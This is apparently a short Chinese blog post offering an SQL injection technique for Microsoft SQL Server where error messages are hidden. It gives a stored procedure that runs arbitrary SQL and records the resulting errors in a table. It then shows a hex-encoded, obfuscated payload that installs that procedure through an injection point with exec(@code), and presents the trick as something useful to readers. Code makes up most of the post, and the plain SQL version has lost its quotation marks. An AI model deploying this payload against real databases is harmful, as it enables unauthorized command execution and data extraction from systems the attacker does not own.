痛苦的信仰
有某种情况,错误提示不开启,你只能open或者union甚至于Update Table for Web Information来返回数据。
当执行某些需要的多语句时,我们希望知道我们的语句执行时发生了哪些错误,以进行应对,有时候这些信息对你很重要。现在就对此情况进行讨论。
CREATE PROC RunSQL @sql nvarchar(2048)
AS
BEGIN
declare @msg nvarchar(2048);
set @msg = Error: ;
exec sp_executesql @sql;
select @msg = @msg + description from master.dbo.sysmessages where error=@@error;
set @msg = Execute: + @sql + | + @msg;
if not exists(select * from sysobjects where name=errorstate) create table errorstate(msg nvarchar(2048));
insert into errorstate values(@msg);
END
安装这个看扩展存储过后,用他来执行命令。会把错误信息写入表errorstate。呵呵,当然注入点环境是不能建扩展存储的,因为CREATE PROC必须是多语句的第一条语句。这容易满足:
declare @code varchar(2000);set @code=0x4352454154452050524F432052756E53514C204073716C206E76617263686172283230343829415320424
547494E206465636C61726520406D7367206E766172636861722832303438293B73657420406D7367203D20274572
726F723A20273B657865632073705F6578656375746573716C204073716C3B73656C65637420406D7367203D20
406D7367202B206465736372697074696F6E2066726F6D206D61737465722E64626F2E7379736D65737361676
573207768657265206572726F723D40406572726F723B73657420406D7367203D2027457865637574653A20272
02B204073716C202B20277C27202B20406D73673B6966206E6F74206578697374732873656C656374202A20667
26F6D207379736F626A65637473207768657265206E616D653D276572726F727374617465272920637265617465
207461626C65206572726F727374617465286D7367206E76617263686172283230343829293B696E736572742069
6E746F206572726F7273746174652076616C75657328406D7367293B454E44;exec(@code)
呵呵,一点雕虫小技,希望对读者有用。